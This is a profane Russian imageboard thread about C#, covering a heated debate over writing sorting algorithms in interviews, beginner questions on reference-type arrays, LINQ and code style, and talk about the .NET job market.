Именно поэтому нужно знать как реализован тот инструмент, которым ты пользуешься. Да, для твоих пет-проектов тебе может быть похуй, в крайнем случае спросишь на SO и будешь ждать ответа неделю. Но ты ведь на работу устраиваться пришел, вроде как хочешь чтобы тебе деньги еще за это платили, при том деньги не малые. Времени у тебя перед выпуском в прод будет очень мало, ждать пока ты нагуглишь и поймешь никто не будет, легче нанять студента третьекурсника, который не только эту сортировку знает, но и другие.
Вот теперь можешь ответить на свой вопрос:

>Это я долбоеб или они?

316 1740106
>>740077

>Возникнет задача написать алгоритм сортировки на подобии сортировки пузырьком, но с изменениями для конкретного проекта


Вот, блядь, как возникнет, открою и почитаю. Нах мне все это говно в голове держать? Ты же, блядь, весь мсдн в голове не держишь, понадобилось - открыл и поглядел.
317 1740118
Кто нибудь запускал эту приложуху? https://github.com/dotnet-architecture/eShopOnWeb

У меня сначала зависимости не качались, хотя интернет был в порядке, и я проверял руками, они скачивались. Потом пишет, что localdb не поддерживается на этой платформе. В докере вообще не запускается, полчаса шел процесс настройки и тоже ошибка на ошибке. Запускал на Линуксе.
318 1740120
>>740070
Если ты не можешь ничего написать сам, не используя стандартные методы, то очевидно кто.
319 1740121
>>740106
Пиздец вкатуны охуели. Я просто хуею. А потом они такие: "Бля, почему я год работу найти не могу. Это все сытая ашарочка виновата. Утутуту, пожалейте."
Это, блядь, база, которую знать надо.
Охуеть просто. А потом смотришь его код, а там одна копипаста со стековерфлоу. Охуеть, блядь.
320 1740123
>>740118
Запускал. Все норм работало. Где-то полгода назад.
321 1740125
>>740123
Попробуй щас
322 1740126
>>740120

>Если ты не можешь ничего написать сам, не используя стандартные методы


Ну, нахуя мне этот пузырь писать, если есть .sort?
323 1740128
>>740126
Потому что это требуют. Требуют для того, чтобы увидеть твое алгоритмическое мышление. Увидели. Его нет.
324 1740129
>>740123
На Линуксе запускал?
325 1740130
>>740121

>Это, блядь, база, которую знать надо.


Нахуя? .sort чем не угодил? Может мне еще вместо .split для строк писать разбиение на подстроки? Чо за ебанизм?
326 1740131
>>740128

>Требуют для того, чтобы увидеть твое алгоритмическое мышление


Открыл и почитал, чо теперь, я пиздец алгоритмическим мышлением обладать начал? Ты ж тоже до пузыря не сам додумался, а прочитал где-то про него
327 1740134
>>740130

>Может мне еще вместо .split для строк писать разбиение на подстроки?


Да, представь себе, это входит в обучение. Если ты сам этого ничего не писал, значит ты обычный копипастер, и не способен писать алгоритмы.
328 1740135
>>740131

>Открыл и почитал


Не читать надо, а писать сортировку руками без встроенных методов. Читал он блять. Плавать тоже учился через чтение?
329 1740136
>>740130
>>740131
Представляю что будет когда тебе придется алгоритмы на графах релизовывать самому.
330 1740137
>>740134
Давай текст алгоритма и я тебе его напишу. А то что я там где-то чет-та глянул, и чем это отличается от того, что со со спиздил?
331 1740138
>>740135

>Не читать надо, а писать сортировку руками без встроенных методов.


Пиши текст алгоритма, я тебе его реализацию напишу.
332 1740140
>>740137
Реши задачу об укладке рюкзака через рекурсию
333 1740141
>>740136

>Представляю что будет когда тебе придется алгоритмы на графах релизовывать самому.


И в чем проблема? Писал графы, это ж не значит, что я должен эти алгоритмы на зубок знать. Как раз маня, которая посмотрела до этого и запомнила нахуй не нужна, а вот чел, который почитал и написал - нужен. Кто разобраться сам может, а не увидел и запомнил. Потом чо, столкнется с тем, чего не видел и все, пук среньк будет. А чел, который разобраться может сядет и решит задачу. Никто ж не говорит, что надо со стака бежать списывать
334 1740142
>>740140

>Реши задачу об укладке рюкзака через рекурсию


Ну пиши условия
335 1740144
>>740141
Если ты такой умный, то почему не написал сортировку?

>>740142
Это известная задача.
336 1740151
>>740141
Блядь, не неси хуйни. То что ты скопипастил решение, это не значит что ты разобрался, блядь. Когда ты, блядь, разобрался, ты не будешь гуглить или что-то нести. Ты же, блядь, не гуглишь каждый раз как ветвление делать или цикл. При этом ты знаешь как и где их использовать. Что, блядь, ты зазубирл это и когда тебе вместо одного условия, надо будет 2 ты обосрешься? Нет. А вот если ты еблан, который гуглит, как сделать обход по массиву, то ты нихуя не разобрался. Блядь. Пиздец, это сука объяснять надо.
Вот тебе, сука аналогия, ты ж тупой и не поймешь. Допустим ты и другой чел решаете научиться рисовать. Ты обвел картинку и получил норм. Тот чел пошел дрочить кубы, анатомию, и прочее и тоже нарисовал картинку. Так вот, кто из вас научился рисовать? Кто из вас, блядь, сможет нарисовать то, чего еще не рисовали? Так, блядь, понятно?
337 1740154
>>740144

>Это известная задача.


Предлагаешь сходить погуглить? Опиши задачу своими словами, чо ты
338 1740159
>>740151

>То что ты скопипастил решение, это не значит что ты разобрался, блядь.


Но я не копипастил ничего, открыл этот пузырь и почитал, в пару строк цикла такое пишется, чего там писать, если знать условия?

>Ты же, блядь, не гуглишь каждый раз как ветвление делать или цикл.


Потому что это постоянно надо, а пузырек ты в каждой своей проге используешь?

>ты еблан, который гуглит, как сделать обход по массиву


А там только обход по массиву надо сделать или надо еще алгоритм применить при этом?

>Вот тебе, сука аналогия


Которая не является доказательством ничего, умник

>Допустим ты и другой чел решаете научиться рисовать. Ты обвел картинку и получил норм.


Вот ты и обосрался, я прочитал что именно надо нарисовать и нарисовал

>Кто из вас, блядь, сможет нарисовать то, чего еще не рисовали?


Никто, то что ты человека нарисовал не значит, что вазу с фруктами нарисуешь.
339 1740167
>>740151
Ебать ты быдлан агрессивный. Ничего даже удивительного, что у тебя такая идиотская позиция, оправдывающая необходимость изобретения велосипедов на собеседованиях.
340 1740174
>>740106
Я же тебе написал, дебил:

>ждать пока ты нагуглишь и поймешь никто не будет


И важнее не это, а вот это:

>у тебя даже идеи не возникнет о том, что нужный тебе алгоритм похож на сортировку пузырьком, поэтому ты начнёшь пилить свой велосипед, от которого твой тимлид упадёт в обморок.


Есть множество задач, алгоритмы решений которых похожи на алгоритмы сортировки, если ты долбоеб, который не может написать сортировку пузырьком/вставками/быструю сортировку, то и в голове у тебя никаких аналогий не возникнет, написав свой велосипед, ты даже не поймешь, что он похож на алгоритм сортировки пузырьком, ты с рожей дебила будешь смотреть в зеркало и думать "пиздец я умный, никто бы не догадался решить задачу таким путём!", при этом не осознавая, что если бы ты знал алгоритм сортировки, то выполнил бы задачу на много раз быстрее и эффективнее.
341 1740177
>>740159
Анализ сложности алгоритмов ты конечно же тоже не знаешь.
342 1740179
>>740167
Не отвечай ему просто и все.
343 1740196
>>740130

>вместо .split для строк писать разбиение на подстроки?


Представь себе, и такое бывает.
Понимаешь, дебил, методы стандартной библиотеки и вообще любой библиотеки, которая ориентирована на широкую публику, создаются при условии, что ими будут пользоваться создатели вообще любых программ, т. е. это всё отражается на коде метода. Он универсален, но в какой-либо конкретной ситуации можно придумать алгоритм, который отработает быстрее, но не будет настолько универсален.
Допустим, тебе нужно разбить строку и ты знаешь, что результатом всегда будет массив как минимум из 6 элементов, при этом работать ты всегда будешь с массивом который состоит из 2 по 6 элемент.
Если работать с этой строкой используя стандартный split, то он не будет останавливаться на 6 элементе, он будет сплитить тебе всю строку, также тебе самостоятельно придётся отбрасывать 1 элемент. При этом если использовать свой split, то эту остановку и пропуск первого элемента можно реализовать, значительно повысив производительность.
344 1740197
>>740174

>алгоритмы решений которых похожи на алгоритмы сортировки, если ты долбоеб, который не может написать сортировку пузырьком/вставками/быструю сортировку, то и в голове у тебя никаких аналогий не возникнет


Если мне понадобится эта задача, я напишу в гугл "сортирвки" и выберу нужный мне алгоритм. Ты реально не догоняешь этого что ли? Ты когда пишешь свою прогу в мсдн тоже не заглядываешь, потому что, а нахуя? Я ж там алгоритм пузыря знаю, ща накатаю, пока я просто .sort использую и все.

>что если бы ты знал алгоритм сортировки, то выполнил бы задачу на много раз быстрее и эффективнее.


.sort выполняет задачу быстрее и эффективнее, чем написание своего пузыря
345 1740200
>>740196

>Если работать с этой строкой используя стандартный split, то он не будет останавливаться на 6 элементе, он будет сплитить тебе всю строку, также тебе самостоятельно придётся отбрасывать 1 элемент.


В данном случае доработаю и сделаю свой сплит. Ща объясни мне, в чем твой велосипед с пузырем лучше, чем .sort()?
346 1740206
>>740197

>Если мне понадобится эта задача, я напишу в гугл "сортирвки" и выберу нужный мне алгоритм.


Не выберешь. Сейчас тебе если задать любую нестандартную сортировку, даже с небольшими отклонениями, и ты не найдешь ее, и сам не сразу напишешь. Потому что опыта написания самостоятельно нет.
347 1740220
>>740197

>Если мне понадобится эта задача, я напишу в гугл "сортирвки" и выберу нужный мне алгоритм.


Так зачем вообще тогда что-либо знать? Приходишь с гуглом и решаешь любую задачу.

>когда пишешь свою прогу в мсдн тоже не заглядываешь, потому что, а нахуя?


Я заглядываю туда на пару секунд, ты же сначала там сидишь час, потом еще уточняешь что-то, чего ты не понял, в гугле второй час и только потом пишешь какой-то код, который не работает, потому что ты не всё прочитанное запомнил.
Понимаешь в чём разница, дурачок? Если ты встречал и работал с задачей ранее, то освежить знания будет быстрее, чем получить их.

>.sort выполняет задачу быстрее и эффективнее, чем написание своего пузыря


Ну это просто без комментариев. Прочитай про алгоритмы сортировок, про их отличия. Помимо пузыря существует еще не мало алгоритмов, про пузырь у тебя спросили в качестве примера, а не панацеи для всех задач сортировки.
>>740200

>В данном случае доработаю и сделаю свой сплит.


Конечно сделаешь, особенно когда ты ни разу не видел устройства этого сплита из стандартной библиотеки. Будешь сидеть пару часов и пытаться разобраться как это у них делается, когда тот кто знает, меньше чем за час уже напишет свою реализацию.

>в чем твой велосипед с пузырем лучше, чем .sort()?


Тем, что скорость сортировки зависит от сортируемых данных, в зависимости от контекста, может быть выгоднее использовать пузырьковую сортировку, а может и быструю сортировку. И это только скорость, есть еще и такой фактор как память. Всего этого стандартный Sort не учитывает, он использует тот алгоритм, который наиболее эффективен в большинстве случаев, т. е. самый универсальный.
Вот видишь, ты даже таких базовых вещей не знаешь, а всё еще спрашиваешь "зачем". Затем и спрашивают, чтобы понять, изучал ли человек сортировки или использовал стандартную библиотеку и копипастил чужой код.
348 1740222
>>740220

>Так зачем вообще тогда что-либо знать? Приходишь с гуглом и решаешь любую задачу.


Ну так давно уже можно было заменить программистов макаками работающими с электронным помошником, вот только никто его сделать не хочет нормально почему-то...
349 1740225
>>740222
Так уже, электронный помощник это IDE, макака это человек который мнит себя программистом, но на деле срёт себе в штаны, когда его просят написать сортировку пузырьком.
350 1740259
>>740225
Так что мешает и это в помошник запихать?
По мне так уже давно программистов можно простенькими алгоритмами заменить практически полностью.
Их сейчас ОЧЕНЬ МНОГО, относительно того сколько могло бы быть.
351 1740414
Изучая C#, пытаюсь переделать лабу на C++ на C#.
Ошибка при задействовании методов в строках с 51 по 62. Пишет мол, ссылка на объект не указывает на экземпляр объекта. Но я же создал массив объектов, должно работать. На плюсах же работает.
https://repl.it/repls/SnivelingStrongVisitors#main.cs
352 1740453
>>740414
Ты специально старался максимально уебищно форматировать код, что б никто читать не стал? Скорее всего, ты создал массив, но объекты в нем не инициализировал, т.о. у тебя массив из наллов.
353 1740458
>>740453
А что конкретно не так с моим кодом? И в плюсах так то при объявлении массива типа класса, все ячейки этого массива заполняются одинаковыми объектами этого класса. А в C# иначе?
354 1740459
>>740414
Лучше бы ты кириллицу использовал для названия классов и методов. Благо шарп позволяет.
355 1740460
>>740459
В C++ тредах я уже показывал такой код. Почти каждый ответ выражал недовольство использованию мною кириллицы в коде.
356 1740463
>>740458
Плюсы вызывают конструктор по умолчанию во время инициализации массива. Шарп при инициализации массива типа T вызывает default (T), что для классов является null, а для структуры - значение, возвращаемое конструктором по умолчанию
357 1740464
>>740460
Лучше уж кириллица чем транслит
358 1740474
>>740463
Значит без разведения зоопарка лишних переменных не обойтись?
359 1740484
>>740474
Enumerable.Range(0, 10).Select(i => new Yoba()).ToArray()
360 1740486
>>739520
Прокидываешь CancellationToken, который передается в бекграунд воркер, дальше в свой код. При остановке приложения все инициализированные таски грейсфулли завершаются.
cd.png11 Кб, 538x442
361 1740494
>>740486

>при работе сервера нажимаю ctrl+c


>таски грейсфулли завершаются


Doubt.jpg
>>740474
Напиши метод для инициализации
>>740460

>В C++ тредах я уже показывал такой код


Тут тебе не там. С# полностью юникод совместимый. В самом коде да, не стоит использовать ни киррилицу, не транслит ибо мешанину языков воспринимать тяжело, особенно если там еще и транслит-ребусы. Но при взаимодействии с пользователем можешь использовать любой язык. Ах да, у тебя и переменные транслитом, ну за такое обоссут в любом культурном обществе.
>>740458

> не так с моим кодом?


Про транслит написал, плюс не ленись писать нормальные имена переменным - не в одну букву. Чому у тебя в класее триады пустые виртуальные методы? Если ответственность за их реализацию лежит на наследнике, то стоит подумать об абстрактном классе и методах. Перепиши методы Show (кста, тут тебе не ява пиши методы с большой буквы), максимум и прочие - не надо завязавть свои классы на конкретном окружении. Пусть они не в консоль пишут а возвращают значение, а уже вызывающий решает как и куда выводить. Пиши фигурные скобки с новой строки, чай не на бумаге пишишь - экономить не надо. Если метод простой используй запись Method() => action;
362 1740497
>>740494
Дядь, тебе Линка не хватает? Нафиг этот экстеншн метод нужен?
363 1740500
>>740494
Я бы тебя на работу с таким кодом не взял. Нахуя ты линк изобретаешь?
364 1740518
>>740494

>Напиши метод для инициализации


Уже пытался. Нормально ли оставлять его паблик?
365 1740526
>>740518
Делай паблик. Зависит от того чей это будет метод и кто должен иметь доступ.
366 1740814
Хочу сделать p2p на шарпе. Решил выбрать для этого PNRP: https://docs.microsoft.com/ru-ru/dotnet/framework/network-programming/peer-name-resolution-protocol , но он только в .NET Framework. Есть ли в .NET Core аналог?
image.png73 Кб, 391x101
367 1740979
Ебусь с этой парашей уже сутки. Не могу сделать. Надо юзать LINQ.
368 1740989
Курю туторы около недели-полторы, пока всё мало понимаю и весь код это чаще всего или копипаста из туторов или нагуглил на форумах. Я даун или так и должно быть? Или весь код это и есть заучить 10 базовых инструментов и гуглить всё остальное?
369 1740993
>>740989
Это нормально, что ты сейчас нихуя не знаешь. Просто решай какие-то простейшие задачи, привыкнешь к синтаксису, поймешь как работает та или иная конструкция
370 1741003
>>740989
Иди на кодварс и решай задачи, гугля уже после того как задачу сдал и она прошла проверики. По моим ощущениям это самый заебатый способ осваивать кодинг. Срсли.
371 1741015
>>741003
Он заебется на первой же задаче и забьёт хуй
372 1741022
>>741015
Ну хуй знает. Я именно в такой форме учил шарп после плюсов. Очень весело же. А потом можно посмотреть как другие решали и подглядеть всякие прикольные штуки.
373 1741041
Как лучше учить c#, если уже знаешь несколько яп?
374 1741044
>>741041
Разбираешься с синтаксисом, затем ищешь легкие задачки и решаешь переходя к сложным
image.png29 Кб, 666x450
375 1741061
>>740979
Держи, с тебя интернеты
376 1741068
>>741044
Синтаксис не проблема, я больше про технологии. Core + Linq сейчас стоит знать или что?
377 1741077
>>741068
Core + Linq обязательны к изучению, как минимум linq ты обязан знать
378 1741078
>>741061
Спасибо
379 1741273
Подсел на CodeWars - прикольно, но времени жрет, это пиздец. Пока найдешь правильное решение. И еще в итоге в императивном стиле разложешь пирамиду, которая в итоге делается 1 строчкой. Меня волнует один вопрос - какой блять от этого толк? Типо найди алгоритм, чтобы инпут цифр был только integer с размером 4 или 6? И коню понятно, что такие задачи хуй когда на практике встретятся. Что скажешь, анон?
380 1741303
>>741273
Ты охуеть как прав. Это именно что прикольно. Любой велосипед, типа своей змейки и тетриса, поднимет твой скил в разы, чем дроч задач.
381 1741380
>>741303
скилл в чем?
382 1741388
>>741273

> И коню понятно, что такие задачи хуй когда на практике встретятся


Встретятся
Ну и на кодварсах уже с 4кю вполне себе задачи, которые в повседневной работе встречаются.
383 1741409
>>741388
сколько всего kyu? меня с какого то хуя по привязке гита сразу на 8 кинуло
384 1741413
>>741409
8 это самый низкий, няша. Тут в обратном порядке, как в каретэ всяких же. Ну и да, всего 8.
385 1741453
Для андроид нужно написать простейший парсер сообщений с поиском кода подтверждения и отправкой его в базу данных. На C# реализуемо?
386 1741459
>>741453
Нет, конечно
че за вопросы ебанутые, язык тьюринг полный, хоть ос там себе напиши а
387 1741460
>>741453
Через ксамарин.
388 1741464
>>741388
это какие например? Найти регуляркой и вычленить невалидные символы? Хоть пару примеров приведи
>>741413
да, уже разобрался. В целом - интересно, но имо бесполезная трата времени, т.к. задачи студентоты - поломать голову. 4fan пойдет
389 1741470
>>741459
Я не так давно начал изучать C# и пока что просто балуюсь и реализую некоторые свои задумки. Решил спросить, чтобы не тратить время зря.

>>741460
Спасибо.
390 1741504
>>741464
Ну вот, например, штук, которые близки к тому с чем я в реальной работе сталкивался.
https://www.codewars.com/kata/59c5d0b0a25c8c99ca000237
https://www.codewars.com/kata/52bb6539a4cf1b12d90005b7
https://www.codewars.com/kata/5296bc77afba8baa690002d7
391 1741627
>>741504
геймдев что ли? В интерпрайзе такой хуйни никогда не видел, максимум валидация. При парсинге еще может быть провалидировать ряд, это максимум
392 1741630
Вот бы .NET5 принес с собой вакансий в рашечку......
393 1741632
>>741630
зачем? тебе нормальных технологий мало?
394 1741633
>>741632
Это ты про ноду?
395 1741635
>>741633
боже упаси. Помимо .NET сейчас куча работы на нормальных стэках. Не буду писать на каких, а то прибегут кукарекать, что и то им не так и то не так
396 1741639
>>741635
Двачую брат, не пали быдлу Котлин.
397 1741643
>>741635
Но шарп хорош. Однако кроме веба делать в нем что-то неудобно. WPF унылый, бойлерплейт бойлерплейтом погоняет. Ксамарин тормозной. Сделали бы блазор нормальный
Фронт? Хуй. На MVC не построишь SPA, а Blazor говно, потому что либо пчел качает wasm на несколько мегабайт, либо с каждым клиентом будь добр держать gRPC соединение.

Вот бы сделали Blazor под все платформы, причем нормально сделали.

По итогу сейчас приходится учить js и фронтенд фреймворк в нагрузку. Сперва Vue изучил, но потом подумал и перекатился на React. Vue Native – говно говна, у них стандартный проект не работает

Хотя, почитаешь на хабре, людям нода вкатывает после шарпа, говорят, писать гораздо быстрее. Хуй его знает, я с js ощущаю себя как в гей-клубе. Как бы красиво, но чуть зазевался и хуй в жопе
398 1741652
>>741643
все так и есть, зато есть у # webApi. Проблема вся в том, я уже писал как то в треде, что мелкософты - жадные. Нет, чтобы делать интеграции с последними технологиями, они пытаються высрать что то непотребное. Блейзор тому пример. Кому нахуй этот wasm нужен. Весь фронт на JS и пока нет лучшей альтернативы ему. В итоге из всего стэка остается только использовать .NET Core, как чистый бэк.
Нода хороша только тем, у кого стэк близок к JS. Любой другой туда полезет и охуеет. Вообще языки с динамической типизацией - это ебаное зло.
За что респект мелкософтам, так это за TS. Он уже нехуево взлетает и я надеюсь, что .NET вылезет из говна и будет стэк бэка на #+TS front. Все остальное - легаси или тухляк.
Сейчас любой архитектор не будет брать # на свежий проект из за еботни с интеграциями, миграциями и прочим гемором.
Насчет JS - сейчас это дефолт, потому что любой интерпрайз язык это 99% веба, а веб = JS (и верстка)
Решетки хороший язык, спору нет и я думаю его будут сапортить и дальше, но стратегия от мелкософта была заведомо провальная. Та же кроссплатформенность и оперсоурс. Да что вам блять мешало интеграцию сделать после выхода первых версий в релиз, как это сделала Java? Или показать свои сорсы. А я скажу - жадность. Вот за нее и поплатились полувялым в жопе от обогнавших на гнедой кобыле конкурентов.
Я много общаюсь с людьми из разных технологий и все, кто +- сталкивался с .NET говорят, что работать можно. Остальные - просто плюются на него.
399 1741668
>>741652
Про веб я и говорил про WebApi. На бекенде шарп хорош
У меня все обостряется тем, что я планирую перекат в другую страну, а там на шарпе работы с гулькин хуй. Учить жабу желания нет, так что взялся за реакт. Но когда представляешь, как бы все могло быть, грустно становится
400 1741699
>>741668
я уже давно не работаю с решетками, но была возможность релокейтнутся в другую страну по прямому офферу. Если работаешь в бадишопе, где +- проект держится больше 2-3 месяцев - есть возможность получить прямой оффер, единственное условие - это очень тонкий подход. Если спизданешь что то типо "Давайте я у вас в офисе буду работать" с большой вероятностью вылетишь пинком под зад с места работы.
У моего знакомого поголовно с php стэка выкатываются в Германию один за одним, им кастомеры сами предлогают. Один уже выкатился, другой в раздумиях. Бадишоп об этом знает, но ничего поделать не может, т.к. жадность давит горло - получать с гребца по $45/h, а платить по 20-25.
Так и живем.
401 1741926
Такой вот вопрос.
Стоит ли в арифметических операциях с числами использовать checked? Просто допустим я знаю какие числа мне приходят и я точно знаю что никогда не будет переполнения. Но блин, все равно меня терзает хрень про то, что а вдруг где-то что-то пойдет не так и таки возникнет ситуация, когда прилетит что-то что выйдет за границы.
402 1741977
SQL Server Express он же только на Windows? В инструкции к официальному докер образу MSSQL написано, что можно запустить Express. Но как, если образ на основе Ubuntu?

>Start a mssql-server instance running as the SQL Express edition


>docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=yourStrong(!)Password' -e 'MSSQL_PID=Express' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2017-latest-ubuntu

403 1741989
>>741926

> я точно знаю что никогда не будет переполнения


>возникнет ситуация, когда прилетит что-то что выйдет за границы


ты уж определись...
А вообще логика простая - если переполнение недопустимо, делай чекд, если допустимо - не делай.
>>741977

>SQL Server 2019 Express


>Supported Operating Systems


>Windows 10 TH1 1507 or greater, Windows Server 2016 or greater, Red Hat Enterprise Linux 7.3 or greater, SUSE Enterprise Linux Server v12 SP2, Ubuntu 16.04LTS, Docker Engine 1.8+ (on Windows, Mac, or Linux)

404 1742127
Для приложения и базы поднимать отдельные контейнеры? Не вдупляю как это все сделать. Это же надо базу создать и подключиться к ней.
AnalDestructor2010 405 1742152
Правильной дорогой идем товарищи! Почти как лисп
list.Add((r, c));
406 1742233
>>742152
Tuple нинужны. Лучше бы record типы завезли
407 1742238
Почему в моей программе при изменении одной чейки массива меняются все остальные? Метод Save не виноват, без него то же самое происходит. На C++ такой хуйни не было.
https://repl.it/repls/ImaginativeRapidLanservers
408 1742253
>>742238
Ты можешь подробнее расписать, что за массив и какие действия происходят (со ссылками на строки кода)? Код - говно, ничего не понятно же.
409 1742268
>>742253
С 68 по 79 строки.
Снимок.PNG55 Кб, 667x354
410 1742309
>>724536
Начал с Троелсена. Сам не программер, но на уровне составления простых алгоритмов могу.
Так вот, ебать как там в первой главе нагружают терминами и концепциями. Я понимаю, что потом всё разжуют, но такой подход может оттолкнуть.
В пикриле - первое предложение вмещает столько понятий...
411 1742313
>>742238
Потому что класс это референс тип данных. Если говорить на языке говна и мочи С++: массив Date[] - это массив указателей на Date.
Иван Ванко Твой софт - говно (Железный Человек 2 - Iron Man[...].mp4164 Кб, mp4,
640x360, 0:03
412 1742325
>>742233
Таки в 9 завезут
>>742238
Ну вот открыл я твой метод Save, и как должен догадаться, что такое d, t, i, maxDat, как тебе в голову пришло такое:

>actualSize; // Счётчик введённых дат


Почему переменная с именем размер описана как счетчик?
413 1742337
>>742325
Бро, код - говно, но проблема не в методе Save. Этож явно писал студент, который программирует от силы пару месяцев. Смотри на конструктор Memory, ошибка там.

мимо >>742313
414 1742357
>>742309
Вся суть русика - читать Троелсена на английском легче, чем на русском.
415 1742542
>>724425 (OP)
Народ, кто-то пробовал поставить кор 3 параллельно с 2.2 ?
Я не уверен будет ли компилиться 2.2 проект, оф. дока говрит, что при установке кор 3 не будет возможности выбрать версию ниже.
416 1742598
Продолжаю читать Троелсена. Я думал, что это всё-таки для не таких шарящих будет. Почему он постоянно бросается словами методы, классы, статический метод, область видимости метода и т. д. не объясняя по пути что это такое?
417 1742609
>>742598
Потому, что нехуй слушать тех, кто советует со старта брать в руки книги, особо извращенные рекомендуют сразу брать Рихтера. Результат - полное непонимание того, чтотам пишется из-за незнания самых основ. А те основы, что там описываются, написаны достаточно сложным языком, предполагающим, что у человека уже есть некие поверхностные знания в области программирования и смежных вещей.

Браться за хорошие книги надо тогда, когда термины >> методы, классы, статический метод, область видимости
не вызывают никаких вопросов вообще.
418 1742614
>>742609
Хорошо, а с чего тогда начинать? Не с Дударя же. Что хорошее, но лайтовее Троелсена? Или по крупицам в гугле инфу собирать?
419 1742626
>>742614
Я начинал с Шилдта, был нулевым и вроде каких-то серьезных затыков не было. Опять же гугл всегда под рукой и и если надо больше подробностей ищи статейки по конкретному вопросу.
420 1742682
>>742626
Ладно, возьмём и дядюшку Шилдта откроем, спешить некуда, а из 2-х книг может даже и больше почерпну.
421 1742689
>>742614
Для начала надо определить текущий уровень знаний.
Потом берем источник сжатой информации аля метанит и го по порядку.

foreach(theme in themes)
{
ProcessingInformation( theme )
}

void ProcessingInformation(theme)
{
while(!MyBrain.Knowledges.HasValue(someInfo))
{
MyBrain.Knowledges.TryToAdd(theme);
}
}

Только потом берем хорошую книгу и читаем.
422 1742699
Весь .NET по сути построен на атрибутах - Методы, валидация и т.д. А это означает - рефлексия. Внимание вопрос - почему рефлексией, а не обычной реализацией? Я так понимаю дело в компиляции - если делать атрибутами и реквесты приходят на контроллер, то сборка сама себя рефлектит и принимает/отправляет REST метод? Если что не так - поправьте
423 1742700
>>742699
.Net Core

фикс
424 1742710
>>742700
По сути .NET это и есть .NET Core. Сливают .NET Framework и .NET Core в новый .NET 5. Он уже доступен в превью версии.
425 1742712
Аноны, а есть какой-то рекомендуемый codestyle для C#, типа PEP8 для Python?
428 1742744
Есть такой код

using System;

class MainClass {

public class DnaStrand {
public static string MakeComplement(string dna) {

return Console.WriteLine(dna);
}
}

public static void Main (string[] args) {

DnaStrand.MakeComplement("Hello World");
}
}

Выдает такое

main.cs(8,22): error CS0029: Cannot implicitly convert type `void' to `string'

Почему так происходит? Метод принимает и возвращает string. Где и откуда там void?
429 1742754
>>742744
Ты пытаешься вернуть результат Console.WriteLine из MakeCompliment

Console.WriteLine возвращает void, а метод MakeCompliment - string.
430 1742774
>>742715
>>742721
Спасибо! А что на счет длины строки и размера отступов? Или тут как кому нравится?
431 1742792
>>742754
Спасибо. Но если убрать return, то not all code paths return a value
432 1742798
>>742792
БЛЯЯЯЯ долбоеб, у тебя в сигнатуре string должно возвращать. В глаза долбишься, что ли?
433 1742808
>>742774
Используй стандартные настройки VS.
434 1742820
>>742798
Хули ты орешь. У меня же есть в сигнатуре string

public static string MakeComplement
435 1742823
>>742820
значит убери его из сигнатуры
436 1742824
>>742598
Кто тебе мешает загуглить значения этих слов? Это базовые понятия и они одинаковы для любого языка.
437 1742830
>>742699
У тебя какая-то каша в голове. В том что ты описал можно увидеть рефлексию, которую используют для создания фреймворка, который пишет некоторый код за тебя, в зависимости от атрибутов. Непонятно при этом, что ты подразумеваешь под "обычная реализация". Но это не единственное её предназначение, более общим будет "анализ уже существующего кода и определенные действия в его отношении".

>если делать атрибутами


То при компиляции фреймворк анализирует твой код и дописывает всё нужное для его работы, от тебя требуется только следование документации этого фреймворка. Вся суть в том, что тебе приходится писать в разы меньше кода и большая часть реализации работы лежит за кулисами.
438 1742832
>>742823
Ругается
Class, struct, or interface method must have a return type
439 1742833
>>742792
А надо как? У тебя метод который возвращает строку, если читать только сигнатуру, но если читать реализацию, то он ничего не возвращает, о чём тебе компилятор и говорит.
440 1742855
>>742833
Убираю Console.WriteLine(dna); пишу return dna; и то же самое Class, struct, or interface method must have a return type
441 1742858
>>742820
у каждого метода в сигнатуре есть входные и выходные параметры. Если ты ничего не возвращаешь - значит возвращаемый параметр - void
>>742830
я проебался не дописав, что имею ввиду ASP.NET. Я хочу разобраться с работой контроллера - ведь каждый входящий реквест по тому или инному REST методу - работает через рефлексию? Поэтому я и спрашиваю насчет атрибутов, ведь рефлексия через них и тянет метаданные сборки. Или я не прав?
Хуево, когда вроде понимаешь, как этот механизм работает, но на практике никогда не понимал и из за излишней абстрации в мыслях пытаюсь найти эту реалиазацию
442 1742861
D15nDdIXQAARONJ[1].jpg29 Кб, 461x377
443 1742864
>>742855
Не знаю, у меня всё работает. Попробуй переустановить Шиndows.
444 1742866
>>742864

>Попробуй переустановить Шиndows.


Лол
445 1742868
>>742855
>>742855
string то верни
446 1742874
>>742238
Бамп. Так почему же при изменении объекта в одной ячейки равным образом изменяются объекты во всех остальных ячейках? В сисярпе что, при присвоении объекта ячейке массива массив принимает не объект, а только его адрес? И как тогда создавать массив РАЗНЫХ объектов одного класса?
447 1742883
>>742874
Ты инициализировал все элементы массива одним и тем же объектом, и из-за этого страдаешь
448 1742888
>>742874
Потому что ты значениям массива присваиваешь одну и ту же ссылку на объект.
Class это ссылочный тип, инициализируя инстанс класса ты получаешь ссылку на экземпляр этого класса.
Лучше конечно снести твой говнокод к чертям и научить тебя хотя бы switch case конструкции перед тем как ты его переписывать будешь, но если тебе похуй, то просто вместо дерьма вида:
var myClass = new MyClass();
for (int i = 0; i < myArray.Length; i ++)
{
myArray = myClass;
}
Тебе нужно писать:
for (int i = 0; i < myArray.Length; i ++)
{
myArray = new myClass();
}
449 1742889
>>742888
Квадратные скобки съел двач, но я думаю и так понятно в чём твоя ошибка.
450 1742890
>>742883
Это говно что, копирует адрес вместо самого объекта? И как я об этом должен был догадаться? Почему ту вас в сисярпе вообще это так устроено? Почему нельзя дать программисту выбор, массив чего он хочет сделать: указателей или нет?
451 1742893
>>742888
Понял. Значит выбор есть.
452 1742895
В общем, я вместо вот так сделал вот так. Можно было переделать придерживаясь правил сисярпа, но мне лень переписывать лабу для С++ с нуля на другом языке. Всем спасибо за подсказки.
453 1742901
>>742890

>Почему нельзя дать программисту выбор, массив чего он хочет сделать: указателей или нет?


Можно. Объявляй свой тип не как класс, а как структуру, будет тебя массив значений а не указателей.
454 1742905
>>742890

>И как я об этом должен был догадаться?


Нехуй лекции прогуливать.
455 1742918
>>742905
Как будто на них что-то такое рассказывается, до чего я сам не допру. Например, про указатели на один и тот же объект в ячейках массива я вчера перед сном подумал. Но также подумал, что я же явно создавал массив объектов, а не массив указателей, так что бред и лучше посплю и потом разберусь. Про такую бредовую реализацию классов в сисярпе я и подумать не мог. Зачем всё это делать таким? Неужели микрософт не устраивало то, как это было в крестах? Зачем это нужно?
456 1742943
>>742918
